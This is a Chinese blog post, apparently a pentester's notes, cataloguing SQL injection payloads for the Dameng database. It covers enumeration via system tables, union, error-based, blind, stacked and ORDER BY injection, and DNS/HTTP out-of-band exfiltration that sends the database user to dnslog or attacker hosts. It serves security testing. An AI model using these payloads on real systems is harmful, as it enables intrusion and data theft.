【DA梦数据库系列】SQL注入小记

news/2025/3/9 10:40:09/文章来源:https://www.cnblogs.com/o-O-oO/p/18611231
一、判断DMSQL二、基础语法2.1 注释2.2 常用运算符三、函数特性3.1 进制转换3.2 字符串截取3.3 字符串拼接3.4 其他四、SQLi 获取数据4.1 基本信息4.2 查询全局变量4.3 查询系统表4.4 查询视图五、联合查询注入六、报错注入6.1 除0错误6.2 溢出错误七、布尔盲注八、时间盲注九、DNS外带注入十、堆叠注入10.1 结合DNS外带10.2 结合除0报错十一、order by 位置注入11.1 位运算符11.2 union11.3 转化成Where十二、limit 注入

目前国产化越来越普及,平时遇到的达梦数据库也越来越多,因此决定进行下总结。由于本人能力有限,如果文章中有纰漏欢迎指正,也欢迎大家进行交流。

官方存在达梦线上实验室,可以在线试用达梦数据库,免注册,省去了自己下载安装的时间。

https://eco.dameng.com/tour/

一、判断DMSQL

常见的判断方法如下:

报错语句:

1、dm.jabc.driver.DMException

2、无 updatexml 等方法,

二、基础语法

select user         -- 返回当前用户,默认是SYSDBA
select user()       -- 同上
select cur_database     -- 返回当前库名,默认是DAMENG
select cur_database()   -- 同上
select  1                       -- select语句后面可以不跟表名,存在默认表dual,可以接from dual
select 1 from dual where 1=1 && 1=1     -- &&可以代替and,但||不能代替or

2.1 注释

SELECT 1; -- 单行注释
select 1/*aaa*/from dual    -- 支持/**/多行注释

不支持 # 单行注释 和/*! */内联注释

2.2 常用运算符

DMSQL程序数据库类型与操作符

常用运算符差异不大,&& 同 AND,但 || 无法代替 OR。

三、函数特性

md5(1)                          -- 返回 0xC4CA4238A0B923820DCC509A6F75849B,返回对应MD5值,前面加了0x
exp(if(1=1,710,1))
exp(710)                -- 返回整数溢出错误,使用这种方式可以强制BOOL盲注

3.1 进制转换

ASCII(str)          返回字符串第一个字符的ASCII值, ASCII('a') = 97
char(num)               返回参数num对应的ASCII字符,
chr(num)                同上,CHR(97) = a
HEX(str)                返回16进制字符串形式, hex(12) = 3132
UNHEX(str)          返回对应的字符串,unhex(3132) = 12

3.2 字符串截取

substring('1234',2,1)           -- 同substr函数
substr('1234',2,1)              -- 返回2,第二个参数从第几位开始取值,第三个参数代表截图多少位
-- 多种格式 SUBSTR(str,pos)、SUBSTR(str FROM pos)、SUBSTR(str,pos,len)、SUBSTR(str FROM pos FOR len), 如 substr('1234' from 2 for 1) = 2left('123456', 3)                   -- 返回123,第二个参数代表返回左边几位的字符
right('123456', 3)              -- 返回456,第二个参数代表返回右边几位的字符

3.3 字符串拼接

||                                                              -- 将左右两侧字符串进行连接
CONCAT(str1,str2...)                                    -- 将多个字符串合并为一个字符串
CONCAT_WS(separator,str1,str2...)               -- 通过分隔符separator将字符串连接在一起
WM_CONCAT(column_name)                          -- 类似 GROUP_CONCAT(...),将某一列中的多个字符串按照一定顺序拼接成一个大的字符串,通常用于分组后的字符串拼接
LISTAGG(column_name, separator)                 -- 和 WM_CONCAT 类似,也是用于将分组后的列值进行拼接,并且提供了更多的控制选项,如指定分隔符等。

3.4 其他


LENGTH(str)     -- 返回字符串的长度
len(str)            -- 返回字符串的长度
LOWER(str)      -- 将字符串字母全部转成小写。同:LCASE(str)。
UPPER(str)      -- 将字符串字母全部转成大写。同:UCASE(str)。
TO_CHAR(date/time_value, 'format')      -- 将日期、时间、数字等类型的数据转换为字符类型
TO_NUMBER(char_value, 'format')          -- 将字符类型的数据转换为数字类型
TO_DATE(char_value, 'format')                -- 将字符类型的数据转换为日期类型。

四、 SQLi 获取数据

注入方式整体上和Oracle差不多,但是还是有一些区别。

注入语句:

4.1 基本信息

-- 查看数据库版本
SELECT banner FROM v$version;           -- 注意:返回是多行
SELECT banner FROM v$version limit 0,1;
SELECT WM_CONCAT(banner) FROM v$version     -- 在一行中显示
SELECT LISTAGG(banner, ', ') FROM v$version;    -- 在一行中显示,高版本可用
-- 获取当前用户、当前数据库
select user
select user()
SELECT user FROM DUAL;
select cur_database
-- 获取所有用户名
select USERNAME from SYS.ALL_USERS
select WM_CONCAT(USERNAME) from SYS.ALL_USERS

4.2 查询全局变量

需要当前用户具备查询权限

SELECT NAME, TYPE, VALUE FROM V$PARAMETER;
NAME列显示系统参数的名称,如BUFFER_POOL_SIZE(缓冲池大小)等,这些参数名称用于标识不同的数据库配置项。 
TYPE列表示参数的类型,例如INT(整数类型)、STRING(字符串类型)等,这有助于了解参数值的数据格式。 
VALUE列则是对应的参数实际的值,例如对于BUFFER_POOL_SIZE参数,VALUE列可能显示一个表示大小的数字(单位可能根据参数定义而不同)。 

常见有用的全局变量如下:

NAME VALUE
SYSTEM_PATH /home/dmdba/data/DAMENG
CONFIG_PATH /home/dmdba/data/DAMENG
TEMP_PATH /home/dmdba/data/DAMENG
BAK_PATH /home/dmdba/data/DAMENG/bak
DFS_PATH $/DAMENG
INSTANCE_NAME DMSERVER
INSTANCE_ADDR
PORT_NUM 5236
SVR_LOG_NAME SLOG_ALL
TRACE_PATH /home/dmdba/data/DAMENG/trace
BCT_PATH /home/dmdba/data/DAMENG

如果只想查询特定的全局变量,可以在查询语句中添加筛选条件。
查询语句:

SELECT VALUE FROM V$PARAMETER WHERE NAME = 'SYSTEM_PATH';
SELECT NAME, VALUE FROM V$PARAMETER WHERE name LIKE '%INSTANCE%'

4.3 查询系统表

1) 查询库名

SYS.SYSOBJECTS表中保存全部的库名信息。
查询所有的库名和对应ID

select NAME,ID from SYS.SYSOBJECTS where TYPE$='SCH'

2) 查询表名

SYS.SYSOBJECTS 表中同时保存全部的表名信息。
查询所有的表名。其中SCHID来自步骤1)中获得的ID

select NAME,ID from SYS.SYSOBJECTS where TYPE$='SCHOBJ' and SUBTYPE$='UTAB' and SCHID=150995949

3) 查询列名

SYS.SYSCOLUMNS 表中字段名称和字段类型。
查询所有表对应的列名。其中ID为步骤2)中获取的ID

select NAME,TYPE$,DEFVAL from SYS.SYSCOLUMNS where ID=1078

4.4 查询视图

1) 查询用户

查询全部数据库的用户名

select USERNAME from SYS.ALL_USERS

2) 查询库名

查询全部库名,其中 OWNER 是步骤1)对应的数据库用户名。

select OBJECT_NAME from SYS.ALL_OBJECTS where OWNER='SYSDBA' and OBJECT_TYPE='SCH'

3) 查询表名

查询全部表名, OWNER 是步骤2)对应的库名。

select OBJECT_NAME from SYS.ALL_OBJECTS where OWNER='OTHER' and OBJECT_TYPE='TABLE'

4) 查询列名

可以使用下面的方式返回指定条件对应的列名,其中SCHEMA_NAME代表库名,TABLE_NAME代表表名。

select OWNER,TABLE_NAME,SCHEMA_NAME,COLUMN_NAME from SYS.ALL_COL_COMMENTS where SCHEMA_NAME='OTHER' and TABLE_NAME='xxxxxx'

五、联合查询注入

Union 注入与常规的没什么区别

order by num  union select 1,2,3...          -- 注意列数和类型要相同

六、报错注入

常规的报错函数都不太行,无法直接获取结果。主要利用的是 除0错误、溢出错误,结合布尔注入进行。

6.1 除0错误

select 1 from dual where 1=1/0

结合布尔注入进行探测

SELECT *  FROM t1 where rownum<5 AND 1=1 AND 1=1/if(len(user)=6,1,0) ORDER BY id DESC;

6.2 溢出错误

select exp(710)
select exp(if(1=1,710,1))           -- 数据溢出
select exp(if(len(user)=6,710,1))SELECT *  FROM t1 where rownum<5 AND 1=exp(if(len(user)=6,710,0)) ORDER BY id DESC;
SELECT *  FROM t1 where rownum<5 ORDER BY id,exp(if(len(user)=6,711,0)) DESC;
SELECT *  FROM t1 where rownum<5 ORDER BY id DESC, exp(if(len(user)=6,710,0));

七、布尔盲注

布尔盲注语法

if(expr,参数1,参数2) -- expr成立时,返回参数1的值;不成立时,返回参数2的值
CASE WHEN exp THEN state1 ELSE state2 END       -- 同IF
DECODE(expr, search1, result1 [, search2, result2,...][, default_result])  -- 类似 switch case, 如果 expr=search1,则返回 result1,否则返回default_result
IFNULL(expr1,expr2)                 -- 如果 expr1 不为 NULL,则返回 expr1,否则返回 expr2
NULLIF(expr1,expr2)                 -- 若expr1与expr2不同,则返回expr1,否则返回NULLif(1=ascii(substr('123456',2,1)),2, 1)      -- 综合使用,盲注必备
CASE WHEN len(user)=6 THEN 1 ELSE 0 END
DECODE(len(user),6,1,0)                         -- 判断len(user)=6是否成立,成立返回1,否则返回0

案例

SELECT *  FROM t1 where rownum<5 AND 1=1 AND 1=if(len(user)=6,1,0) ORDER BY id DESC;
SELECT *  FROM t1 where rownum<5 AND 1=1 AND 1=(case when len(user)=4 then 1 else 0 end) ORDER BY id DESC;
SELECT *  FROM t1 where rownum<5 AND 1=1 AND 1=decode(len(user),6 ,1,0) ORDER BY id DESC;
SELECT *  FROM t1 where rownum<5 AND 1=1 AND 1=IFNULL(len(user)=6,0) ORDER BY id DESC;
SELECT *  FROM t1 where rownum<5 AND 1=1 AND 1=NULLIF(len(user)=6,0) ORDER BY id DESC;

八、时间盲注

sleep(n)                -- 休眠n秒,不能和select 一起用,语法错误,失去价值
exec  sleep 5       -- 延时5s
dbms_pipe.receive_message(('a'),2)              -- 可以延时SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;      -- 如果反查很慢,可能可以
SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual;      -- 如果正查很慢
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;         -- 如果发送TCP包被拦截或者很慢

实际过程中时间盲注很难起到作用。测试发现,结合布尔判断时,无论True/False,都会造成延时。

九、DNS外带注入

需要用户可访问网络的权限

如果数据长度太长,如数据库版本,可能会导致出错,这时候要使用带外,就可以使用substr()函数来截取字符串,每次取几个特定的字符即可

发送DNS请求,DNS外带:


SELECT UTL_INADDR.get_host_address('google.com') FROM dual;   -- priv
SELECT UTL_INADDR.get_host_address((select user)||'.xxx.dnslog');SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;
SELECT UTL_HTTP.REQUEST('http://xxx.dnslog?'||(select user)) from dual;
select utl_http.request('http://192.168.0.100:8888/?'||(select user)) from dual;

十一、堆叠注入

在靶场中没成功,提示表不存在,但是在实战中成功过。

10.1 结合DNS外带

结合DNS外带注入,成功获取到数据。

10.2 结合除0报错

十一、order by 位置注入

11.1 位运算符

主要使用^亦或运算,其他也可

ORDER BY id^(if(1=2,1,2)
ORDER BY id^(if(len(user)=6,1,2))SELECT * FROM t1 where rownum<5 ORDER BY id^(if(1=2,1,2)) DESC;
SELECT * FROM t1 where rownum<5 ORDER BY id^(if(len(user)=6,1,2)) DESC;
SELECT * FROM t1 where rownum<5 ORDER BY id&(if(len(user)=6,1,2)) DESC;
SELECT * FROM t1 where rownum<5 ORDER BY id|(if(len(user)=6,1,2)) DESC;

11.2 union

利用条件比较苛刻,需要整条语句在括号中,且前后字段数量一致

(SELECT * FROM t1 where rownum<5 ORDER BY id) union (select 1,2,user);
(SELECT * FROM t1 where rownum<5 ORDER BY id,null) union (select 1,2,user);

11.3 转化成Where

将其转化为 where 后的注入点

SELECT * FROM xxxx WHERE is_delete != '1' ORDER BY id limit 0,20
SELECT * FROM xxxx WHERE is_delete != '1' ORDER BY (select 1 from dual where 1=1/(case when len(user)=6 then 1 else 0 end)) LIMIT 0,20

十二、limit 注入

可以接 堆叠注入

参考文章

达梦数据库手工注入笔记:https://mp.weixin.qq.com/s/vWt3aHhji7e64EMGEBXigg

达梦技术文档:https://eco.dameng.com/document/dm/zh-cn/pm/logical-structure.html

原文首发在:先知社区:https://xz.aliyun.com/t/16721

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/854040.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ABC384E题通过历程

在赛时的时候,我们写出了一份非常牛逼的代码: # include <bits/stdc++.h> using namespace std; #define int long long const int N = 510; int a[N][N]; int vis[N][N]; struct node {bool operator()(int a, int b) {return a > b;} }; int dx[] = {0,1,-1,0}; i…

java学习12.16

springboot+vue3前后端分离的新技术的大部分写项目时的明显bug已经找到问题并纠正,可以赶上旧技术的进度了。再写几个项目就能在速度上超越旧的技术。

11CSS属性-颜色表示-chrome调试-浏览器渲染

一、今日内容 首先对这些属性进行一个演练 想要深刻理解所有常用的CSS属性,最好先学会以下几个最基础最常用的CSS属性font-size 文字大小 color前景色(文字颜色) background-color背景色 width宽度 height高度二、对CSS常用属性进行演练 1、字体的默认大小是16px的还可以看到…

使用win10 wsl子系统将 rust 程序静态编译为linux可执行文件

chapter Ⅰ 事情起因 最近在学习rust, 想把一部分java服务迁移至rust编写,但由于公司服务器都是linux系统,所以在找windows下交叉编译为linux可执行文件的方法,把bing首页搜索的结果试了个遍都不行, 始终报错“musl-gcc”无法找到,搜遍全网都无法解决。 最终在我不断尝试的…

Spring Cloud 负载均衡配置 (@LoadBalanced)

一、负载均衡 目前是两种 Ribbon 和 spring-cloud-loadbalancer - Ribbon已经闭源 配置策略较多 :轮询,随机,权重,自定义 四种负载均衡方案 配置方式yml 注解- spring-cloud-loadbalancer属于springcloud,项目兼容性更好 配置策略: 更注重 自定义(默认为轮询) 配置方式注…

架构信息收集

引子:一个Web应用的构成,由诸多组件&服务相结合,而域名仅是处于Web架构中最表层的一部分。本篇则由表及里,依次对整个Web应用架构,所需收集的信息类型、收集方式等进行介绍。附:完整笔记目录~ ps:本人小白,笔记均在个人理解基础上整理,若有错误欢迎指正! 2.2 架构…

x86指令集 字节大小

x86指令集 字节大小 https://bbs.kanxue.com/thread-190127.htm 最近对x86_32架构下的许多程序进行了指令长度统计,结果表明所有程序所涉及的指令长度范围均为:1~11字节。而根据INTEL 开发者手册上介绍的指令的最大长度限制为15字节。但是,在什么情况或者架构上才会有12~15字…

实际项目中不一样的《桥接模式》

图片缩略图功能 需要对图片生产缩略图,压缩并保存到不同的介质中。输入端可能是本地图片,也可能是网络图片。保存的位置可能是本地,也有可能是第三方的minio、阿里云oss、七牛云oss。并且这些途径可能随时扩展。为了设计的灵活性,这里就要把输入可输出抽象出来,应用层通过…

一款渗透测试信息收集集成工具--mitan密探

本工具仅供安全测试人员运用于授权测试, 禁止用于未授权测试, 违者责任自负。作者及本公众号相关负责人不对您使用该工具所产生的任何后果负任何法律责任,在扫描模块使用多线程,在测试过程中根据目标的实际情况进行调整,切勿进行大线程低延时的大规模快速扫描,以免对目标服务…

最大网络流基本概念

1. 基本概念 1.1 流网络,不考虑反向边如果存在反向边也没事,不如有u->v和v->u两条边,那么就可以新加入一个点 p,u->v,v->p,p->u,转化为这三条边 1.2 可行流,不考虑反向边 1.2.1 两个条件:容量限制、流量守恒 容量限制:每条边流的不能超过这条边的权值 流量守…

sqli-labs

sqli-labs Less-1 基于错误的GET单引号字符型注入 index.php分析error_reporting(0); 不反馈错误 isset($_GET[id]) 检查($ _GET[id])参数是否设置 LIMIT 0,1 从第一条开始记录,只取一条记录1.推测闭合方式?id=1\输入\ ,后面是 ,推测是单引号闭合 输入 ?id=1 报错 输入 ?…

一文读懂:AI创业和投融资领域常见专有名词缩写详解

=== 预计悦读时间:3分钟 | 📚字数:约1000字——知识满满,不虚此行!🤔为什么你需要这篇神器? 就像由算法推荐给各位好奇的同学一样,我也被这些术语所困扰,想象一下,你正沉浸在一场关于AI的精彩演讲或者播客中,突然,一个神秘的英文缩写从嘉宾口中飞出,像是外星语言般让你瞬…